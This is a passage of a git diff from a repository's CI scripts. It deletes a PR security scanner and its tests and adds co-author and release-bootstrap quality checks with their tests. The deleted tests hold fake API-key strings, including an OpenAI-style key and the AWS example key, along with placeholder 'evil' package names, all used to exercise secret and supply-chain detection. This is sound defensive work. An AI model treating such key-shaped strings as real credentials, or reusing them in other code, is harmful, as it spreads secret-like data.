repo, prNumber, baseRef); - const stale = []; - await Promise.all(SENSITIVE_PATHS.map(async (path) => { - try { - await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token); - } catch (err) { - // 404 means the file/directory no longer exists at this path - if (String(err.message).includes('404')) stale.push(path); - // Other errors (network, rate limit) — re-throw so we don't silently miss them - else throw err; - } - })); - return stale; -} - -// ── Advisory creation ───────────────────────────────────────────────────────── - -const SEVERITY_MAP = { - 'supply-chain': 'critical', - 'sensitive-path': 'critical', - 'secret-scan': 'high', - 'ci-tampering': 'high', - 'suspicious-test': 'high', - 'build-script-change': 'medium', -}; - -const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical']; - -function worstSeverity(flags) { - return flags.reduce((worst, f) => { - const s = SEVERITY_MAP[f.check] ?? 'medium'; - return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst; - }, 'low'); -} - -export function buildAdvisoryPayload(prNumber, prTitle, flags) { - const checkNames = [...new Set(flags.map(f => f.check))].join(', '); - return { - summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`, - description: [ - `**PR:** #${prNumber} — ${prTitle}`, - `**Checks triggered:** ${checkNames}`, - '', - '**Details:**', - ...flags.map(f => [ - `- \`${f.check}\`: ${f.file ?? ''}`, - f.pattern ? ` (pattern: ${f.pattern})` : '', - f.packages ? ` (packages: ${f.packages.join(', ')})` : '', - f.line ? `\n \`${f.line}\`` : '', - ].join('')), - '', - '> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.', - ].join('\n'), - severity: worstSeverity(flags), - vulnerabilities: [], - }; -} - -export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) { - const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber); - const payload = buildAdvisoryPayload(prNumber, prTitle, flags); - - if (existing) { - const advisoryId = existing.ghsa_id ?? existing.id; - if (!advisoryId) { - throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`); - } - - // PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability"). - // The field is only valid on POST when creating the draft; updates must omit it. - const { vulnerabilities, ...patchPayload } = payload; - - return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, { - method: 'PATCH', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(patchPayload), - }); - } - - return fetchImpl(`/repos/${repo}/security-advisories`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(payload), - }); -} - -// Cap pagination so a large backlog of unrelated draft advisories cannot stall -// the security gate (it runs inside a 5-minute workflow timeout). -const MAX_DRAFT_ADVISORY_PAGES = 20; - -export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) { - const prMarker = `PR #${prNumber}`; - - for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) { - const advisories = await fetchImpl( - `/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`, - token, - ); - - if (!Array.isArray(advisories) || advisories.length === 0) return null; - - const existing = advisories.find(advisory => - typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker) - ); - if (existing) return existing; - - if (advisories.length < 100) return null; - } - - console.warn( - `[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` + - 'treating as new advisory. A duplicate draft may be created.', - ); - return null; -} - -export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) { - await fetchImpl(`/repos/${repo}/check-runs`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(hasFlags ? { - name: 'security-review', - head_sha: headSha, - // `completed/neutral` instead of `in_progress` so the check doesn't put - // the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the - // durable signal for maintainers; there is no completion path that - // could ever flip an `in_progress` check-run back to completed on the - // same head SHA, so it would hang forever. - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - } : { - name: 'security-review', - head_sha: headSha, - status: 'completed', - conclusion: 'success', - output: { - title: 'Security Review Passed', - summary: 'No security concerns detected.', - }, - }), - }); -} - -// ── Main ────────────────────────────────────────────────────────────────────── - -// Wall-clock budget for the whole script. The workflow job has a 5-minute -// timeout-minutes, and `continue-on-error: true` on a step does NOT override -// a job-level timeout — it only suppresses step failures. So if any API call -// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled, -// failing the `review` check. This watchdog enforces the script's documented -// "always exit 0" contract regardless of API behaviour. -export const SCRIPT_WATCHDOG_MS = 90_000; - -export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) { - const timer = setTimeout(() => { - console.warn( - `[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract` - ); - exit(0); - }, timeoutMs); - // Don't keep the event loop alive solely for the watchdog. - timer.unref?.(); - return timer; -} - -async function main() { - const watchdog = startScriptWatchdog(); - - const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env; - - if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) { - console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required'); - process.exit(1); - } - - // Sanitize inputs before use in URL construction (prevents SSRF) - const prNumber = parseInt(PR_NUMBER, 10); - if (!Number.isInteger(prNumber) || prNumber <= 0) { - console.error('ERROR: PR_NUMBER must be a positive integer'); - process.exit(1); - } - if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) { - console.error('ERROR: GH_REPO must be in owner/repo format'); - process.exit(1); - } - - // Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch - const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber); - if (stalePaths.length > 0) { - console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:'); - for (const p of stalePaths) console.error(` - ${p}`); - console.error(''); - console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.'); - console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.'); - process.exit(1); - } - - const [pr, files] = await Promise.all([ - ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN), - fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN), - ]); - - const allFlags = [ - ...scanSecrets(files), - ...scanCITampering(files), - ...scanBuildScripts(files), - ...scanSupplyChain(files), - ...scanTestPatterns(files), - ...scanSensitivePaths(files), - ]; - - if (allFlags.length > 0) { - console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`); - await Promise.all([ - syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags), - postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true), - ]); - } else { - console.log('[security] all clear'); - await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false); - } - - // Always exit 0 — security flags are silent, never block the PR publicly - clearTimeout(watchdog); - process.exit(0); -} - -if (process.argv[1] === fileURLToPath(import.meta.url)) { - main().catch(e => { console.error(e.message); process.exit(1); }); -} diff --git a/.github/scripts/run-quality-gates.mjs b/.github/scripts/run-quality-gates.mjs index a99786fbf24..31a1a12a006 100644 --- a/.github/scripts/run-quality-gates.mjs +++ b/.github/scripts/run-quality-gates.mjs @@ -16,6 +16,8 @@ import { checkDedupSearch } from './check-pr-dedup-search.mjs'; import { checkTestCoverage } from './check-pr-test-coverage.mjs'; import { checkLockfile } from './check-pr-lockfile.mjs'; import { checkDependencies } from './check-pr-dependencies.mjs'; +import { checkReleaseBootstrap } from './check-pr-release-bootstrap.mjs'; +import { checkCoauthors, fetchAllPullRequestCommits } from './check-pr-coauthors.mjs'; const COMMENT_SIGNATURE = '— commitperclip'; @@ -105,13 +107,24 @@ async function main() { fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN), ]); + // Separate, and allowed to fail. The co-author note is informational: it + // cannot fail a PR by design, so it must not be able to fail the workflow by + // accident either. Sharing the Promise.all above would let one transient + // 5xx on this request take down every gate, including the ones that block. + let commits = []; + try { + commits = await fetchAllPullRequestCommits(ghFetch, GH_REPO, prNumber, GH_TOKEN); + } catch (error) { + console.error(`co-author lookup skipped: ${error.message}`); + } + const prBody = pr.body ?? ''; const author = PR_AUTHOR ?? pr.user.login; const branch = PR_BRANCH ?? pr.head.ref; // Run all quality gates (pure functions run sync, deps check is async) const prTitle = pr.title ?? ''; - const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] = + const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult, bootstrapResult] = await Promise.all([ Promise.resolve(checkTemplate(prBody)), Promise.resolve(checkLinkedIssue(prBody, prTitle)), @@ -119,7 +132,9 @@ async function main() { Promise.resolve(checkTestCoverage(files, prTitle)), Promise.resolve(checkLockfile(files, author, branch)), checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref), + checkReleaseBootstrap(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref), ]); + const coauthorResult = checkCoauthors(commits, author); const allFailures = [ ...templateResult.failures, @@ -128,7 +143,11 @@ async function main() { ...testResult.failures, ...lockfileResult.failures, ]; - const informational = depsResult.informational ?? []; + const informational = [ + ...(depsResult.informational ?? []), + ...(bootstrapResult.informational ?? []), + ...coauthorResult.informational, + ]; const allPassed = allFailures.length === 0; const commentBody = buildComment(author, allFailures, informational); diff --git a/.github/scripts/tests/check-pr-coauthors.test.mjs b/.github/scripts/tests/check-pr-coauthors.test.mjs new file mode 100644 index 00000000000..8f339532388 --- /dev/null +++ b/.github/scripts/tests/check-pr-coauthors.test.mjs @@ -0,0 +1,179 @@ +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { checkCoauthors, fetchAllPullRequestCommits } from '../check-pr-coauthors.mjs'; + +function commit(login, name = null, email = null) { + return { + author: login ? { login } : null, + commit: { author: { name: name ?? login, email: email ?? `${login}@users.noreply.github.com` } }, + }; +} + +test('checkCoauthors: says nothing when every commit is the PR author\'s own', () => { + const result = checkCoauthors( + [commit('tonio-alucema'), commit('tonio-alucema')], + 'tonio-alucema' + ); + + assert.equal(result.passed, true); + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: hands over the trailer when the branch carries someone else\'s commit', () => { + // The case this exists for: a stale contributor PR rebased and landed by a + // maintainer. Squash-merging drops the contributor unless the squash body + // carries their trailer. + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('tonio-alucema')], + 'tonio-alucema' + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /Jannes Stubbemann/); + assert.match( + result.informational[0], + /Co-Authored-By: Jannes Stubbemann / + ); +}); + +test('checkCoauthors: never fails the PR, because the squash message does not exist yet', () => { + // Informational only. The author of the PR cannot satisfy this from the PR, + // so failing here would block work on something unfixable at that point. + const result = checkCoauthors([commit('stubbi')], 'tonio-alucema'); + + assert.equal(result.passed, true); +}); + +test('checkCoauthors: matches the PR author case-insensitively', () => { + // GitHub logins are case-insensitive, and PR_AUTHOR does not always arrive + // in the same case as the commit author login. + const result = checkCoauthors([commit('Tonio-Alucema')], 'tonio-alucema'); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: ignores bots', () => { + const result = checkCoauthors( + [commit('github-actions[bot]'), commit('dependabot[bot]')], + 'tonio-alucema' + ); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: lists each contributor once, however many commits they wrote', () => { + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'Jannes Stubbemann')], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); +}); + +test('checkCoauthors: falls back to the raw git author when GitHub matched no account', () => { + // A commit authored with an email GitHub cannot resolve still deserves a + // trailer — that is precisely the identity most likely to be lost. + const result = checkCoauthors( + [{ author: null, commit: { author: { name: 'Ada Lovelace', email: 'ada@example.com' } } }], + 'tonio-alucema' + ); + + assert.match(result.informational[0], /Co-Authored-By: Ada Lovelace /); +}); + +test('checkCoauthors: skips an unattributable commit rather than emitting a broken trailer', () => { + const result = checkCoauthors( + [{ author: null, commit: { author: { name: 'Nameless', email: null } } }], + 'tonio-alucema' + ); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: names the count rather than everyone when several contributed', () => { + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('elJayAdvisor', 'LJ')], + 'tonio-alucema' + ); + + assert.match(result.informational[0], /2 other contributors/); + assert.match(result.informational[0], /Jannes Stubbemann/); + assert.match(result.informational[0], /LJ/); +}); + +test('checkCoauthors: tolerates a PR with no commits', () => { + assert.deepEqual(checkCoauthors([], 'tonio-alucema').informational, []); + assert.deepEqual(checkCoauthors(undefined, 'tonio-alucema').informational, []); +}); + +test('fetchAllPullRequestCommits: pages until a short batch', async () => { + const seen = []; + const commits = await fetchAllPullRequestCommits(async (path) => { + seen.push(path); + if (path.endsWith('page=1')) return Array.from({ length: 100 }, () => commit('stubbi')); + return [commit('tonio-alucema')]; + }, 'paperclipai/paperclip', 9900, 'token'); + + assert.equal(commits.length, 101); + assert.equal(seen.length, 2); +}); + +test('fetchAllPullRequestCommits: stops at the API ceiling instead of looping', async () => { + // `/pulls/{n}/commits` caps at 250 and keeps returning full pages of nothing + // new past that. A branch that large is not what this gate is about, but it + // must not spin. + let calls = 0; + const commits = await fetchAllPullRequestCommits(async () => { + calls += 1; + return Array.from({ length: 100 }, () => commit('stubbi')); + }, 'paperclipai/paperclip', 9900, 'token'); + + assert.equal(calls, 3); + assert.equal(commits.length, 300); +}); + +test('checkCoauthors: counts one person once when their git name varies across commits', () => { + // People change their git config. Keying the dedup on the rendered trailer + // would put two lines for the same contributor into the squash body. + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'J. Stubbemann')], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); + assert.doesNotMatch(result.informational[0], /other contributors/); +}); + +test('checkCoauthors: does not credit the PR author as a co-author of themselves', () => { + // Their own commit, authored with an email GitHub could not match to the + // account. Without the guard they appear in their own trailer list. + const byName = checkCoauthors( + [{ author: null, commit: { author: { name: 'tonio-alucema', email: 'tonio@example.com' } } }], + 'tonio-alucema' + ); + const byEmail = checkCoauthors( + [{ author: null, commit: { author: { name: 'Tonio', email: 'tonio-alucema@users.noreply.github.com' } } }], + 'tonio-alucema' + ); + + assert.deepEqual(byName.informational, []); + assert.deepEqual(byEmail.informational, []); +}); + +test('checkCoauthors: counts one person once when some commits matched their account and some did not', () => { + // The mixed case: GitHub resolved one commit to the login and left another + // unmatched, both carrying the same email. Keying on login alone emits two + // trailers for one contributor. + const result = checkCoauthors( + [ + commit('stubbi', 'Jannes Stubbemann', 'jannes@example.com'), + { author: null, commit: { author: { name: 'Jannes Stubbemann', email: 'jannes@example.com' } } }, + ], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); +}); diff --git a/.github/scripts/tests/check-pr-release-bootstrap.test.mjs b/.github/scripts/tests/check-pr-release-bootstrap.test.mjs new file mode 100644 index 00000000000..ad631c61ffe --- /dev/null +++ b/.github/scripts/tests/check-pr-release-bootstrap.test.mjs @@ -0,0 +1,265 @@ +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { + addedWorkspaceDependencyNames, + checkReleaseBootstrap, +} from '../check-pr-release-bootstrap.mjs'; + +const MANIFEST_PATH = 'scripts/release-package-manifest.json'; + +function encodeManifest(entries) { + return { content: Buffer.from(JSON.stringify(entries)).toString('base64') }; +} + +function stubGitHub({ base = [], head = [] }) { + return async (path) => { + if (path.includes('ref=refs%2Fpull%2F')) return encodeManifest(head); + if (path.includes(`/contents/`)) return encodeManifest(base); + throw new Error(`unexpected fetch: ${path}`); + }; +} + +const manifestChangedFile = { filename: MANIFEST_PATH, status: 'modified' }; + +test('does nothing (and fetches nothing) when the manifest is untouched', async () => { + const result = await checkReleaseBootstrap( + [{ filename: 'server/src/index.ts', status: 'modified' }], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: async () => { throw new Error('should not fetch'); }, + registryPackageExists: async () => { throw new Error('should not look up'); }, + } + ); + + assert.deepEqual(result, { passed: true, informational: [] }); +}); + +test('notices a new publishFromCi:true package that is missing from npm', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true }], + head: [ + { dir: 'a', name: '@paperclipai/existing', publishFromCi: true }, + { dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }, + ], + }), + registryPackageExists: async (name) => name !== '@paperclipai/brand-new', + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/brand-new/); + assert.match(result.informational[0], /release:bootstrap-package -- @paperclipai\/brand-new --publish/); + assert.match(result.informational[0], /No contributor action/); +}); + +test('stays quiet when the new package already exists on npm', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/already-bootstrapped', publishFromCi: true }], + }), + registryPackageExists: async () => true, + } + ); + + assert.deepEqual(result.informational, []); +}); + +test('notices a publishFromCi flip from false to true on a missing package', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: false }], + head: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: true }], + }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/flipped/); +}); + +test('notices a publishFromCi:false package that published packages newly depend on', async () => { + const files = [ + manifestChangedFile, + { + filename: 'server/package.json', + status: 'modified', + patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-kimi-local": "workspace:*",', + }, + ]; + + const result = await checkReleaseBootstrap( + files, + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/adapter-kimi-local', publishFromCi: false }], + }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /depend on it/); + assert.match(result.informational[0], /"publishFromCi": true/); + assert.match(result.informational[0], /drop the workspace dependency/); +}); + +test('notices a newly added dependency on an existing unpublished package even when the manifest is untouched', async () => { + const files = [ + { + filename: 'server/package.json', + status: 'modified', + patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-hermes-gateway": "workspace:*",', + }, + ]; + + const manifest = [{ dir: 'g', name: '@paperclipai/adapter-hermes-gateway', publishFromCi: false }]; + const result = await checkReleaseBootstrap( + files, + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ base: manifest, head: manifest }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/adapter-hermes-gateway/); + assert.match(result.informational[0], /depend on it/); +}); + +test('stays quiet for a publishFromCi:false package nothing depends on', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/deliberately-private', publishFromCi: false }], + }), + registryPackageExists: async () => { throw new Error('should not look up'); }, + } + ); + + assert.deepEqual(result.informational, []); +}); + +test('never looks up names outside the @paperclipai scope', async () => { + const lookedUp = []; + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [ + { dir: 'x', name: '@evil/probe', publishFromCi: true }, + { dir: 'y', name: 'unscoped-name', publishFromCi: true }, + { dir: 'z', name: '@paperclipai/UPPER', publishFromCi: true }, + ], + }), + registryPackageExists: async (name) => { + lookedUp.push(name); + return false; + }, + } + ); + + assert.deepEqual(lookedUp, []); + assert.deepEqual(result.informational, []); +}); + +test('stays quiet when the registry lookup fails', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }], + }), + registryPackageExists: async () => { throw new Error('registry down'); }, + } + ); + + assert.deepEqual(result, { passed: true, informational: [] }); +}); + +test('treats a missing base manifest as empty (every head entry is new)', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: async (path) => { + if (path.includes('ref=refs%2Fpull%2F')) { + return encodeManifest([{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }]); + } + throw new Error('404 base manifest'); + }, + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); +}); + +test('addedWorkspaceDependencyNames reads only added lines of package.json patches', () => { + const names = addedWorkspaceDependencyNames([ + { + filename: 'server/package.json', + patch: [ + '@@ -1,3 +1,4 @@', + ' "@paperclipai/context-line": "workspace:*",', + '- "@paperclipai/removed-dep": "workspace:*",', + '+ "@paperclipai/added-dep": "workspace:*",', + ].join('\n'), + }, + { filename: 'ui/src/index.ts', patch: '+ "@paperclipai/not-a-pkg-json": "workspace:*",' }, + { filename: 'node_modules/x/package.json', patch: '+ "@paperclipai/vendored": "workspace:*",' }, + ]); + + assert.deepEqual([...names], ['@paperclipai/added-dep']); +}); diff --git a/.github/scripts/tests/check-pr-security.test.mjs b/.github/scripts/tests/check-pr-security.test.mjs deleted file mode 100644 index 637e2c50b45..00000000000 --- a/.github/scripts/tests/check-pr-security.test.mjs +++ /dev/null @@ -1,380 +0,0 @@ -import { test } from 'node:test'; -import assert from 'node:assert/strict'; -import { - buildAdvisoryPayload, - findExistingDraftAdvisory, - postSecurityCheckRun, - scanSecrets, - scanCITampering, - scanBuildScripts, - scanSupplyChain, - scanTestPatterns, - scanSensitivePaths, - startScriptWatchdog, - syncDraftAdvisory, - validateSensitivePaths, -} from '../check-pr-security.mjs'; -import { ghFetch } from '../get-bot-token.mjs'; - -// ── scanSecrets ────────────────────────────────────────────────────────────── - -test('scanSecrets: flags OpenAI key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: flags AWS key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: ignores removed lines', () => { - const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.equal(scanSecrets(files).length, 0); -}); - -test('scanSecrets: ignores files without patch', () => { - assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0); -}); - -// ── scanCITampering ────────────────────────────────────────────────────────── - -test('scanCITampering: flags workflow file changes', () => { - const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }]; - assert.ok(scanCITampering(files).length > 0); -}); - -test('scanCITampering: ignores non-workflow files', () => { - const files = [{ filename: 'src/foo.ts', status: 'modified' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -test('scanCITampering: ignores removed workflow files', () => { - const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -// ── scanBuildScripts ───────────────────────────────────────────────────────── - -test('scanBuildScripts: flags changes to release.sh', () => { - const files = [{ filename: 'scripts/release.sh', status: 'modified' }]; - assert.ok(scanBuildScripts(files).length > 0); -}); - -test('scanBuildScripts: ignores non-CI scripts', () => { - const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }]; - assert.equal(scanBuildScripts(files).length, 0); -}); - -// ── scanSupplyChain ────────────────────────────────────────────────────────── - -test('scanSupplyChain: flags net-new packages in lockfile', () => { - const patch = `@@ -1,3 +1,4 @@ - packages: -+ 'evil-package@1.0.0': - 'existing-package@2.0.0': -- 'old-package@1.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.ok(flags.length > 0); - assert.ok(flags[0].packages.includes('evil-package')); -}); - -test('scanSupplyChain: does not flag version-only bumps', () => { - const patch = `@@ -1,3 +1,3 @@ - packages: -- 'existing-package@1.0.0': -+ 'existing-package@2.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0: - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('scanSupplyChain: ignores peer suffixes when matching package names', () => { - const patch = `@@ -1,2 +1,2 @@ --@scope/pkg@1.0.0(react@18.2.0): -+@scope/pkg@2.0.0(react@18.2.0): -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0(react@18.2.0): - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => { - const calls = []; - const fakeFetch = async (path) => { - calls.push(path); - if (/[?&]page=1(?:&|$)/.test(path)) { - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` })); - } - if (/[?&]page=2(?:&|$)/.test(path)) { - return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return []; - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' }); - assert.equal(calls.length, 2); -}); - -test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => { - const fakeFetch = async () => [{ summary: 'Completely different advisory' }]; - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - assert.equal(advisory, null); -}); - -test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => { - let pageCount = 0; - const fakeFetch = async () => { - pageCount += 1; - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` })); - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.equal(advisory, null); - assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`); -}); - -test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => { - const calls = []; - const flags = [ - { check: 'ci-tampering', file: '.github/workflows/pr.yml' }, - { check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' }, - ]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234'); - assert.equal(calls[1].options.method, 'PATCH'); - const patchBody = JSON.parse(calls[1].options.body); - const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags); - assert.deepEqual(patchBody, expectedPatch); - assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)'); -}); - -test('syncDraftAdvisory: creates a new advisory when none exists', async () => { - const calls = []; - const flags = [{ check: 'supply-chain', packages: ['evil-package'] }]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return []; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories'); - assert.equal(calls[1].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags)); -}); - -test('postSecurityCheckRun: uses the injected fetch implementation', async () => { - const calls = []; - - await postSecurityCheckRun(async (path, token, options) => { - calls.push({ path, token, options }); - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 'deadbeef', true); - - assert.equal(calls.length, 1); - assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs'); - assert.equal(calls[0].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[0].options.body), { - name: 'security-review', - head_sha: 'deadbeef', - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 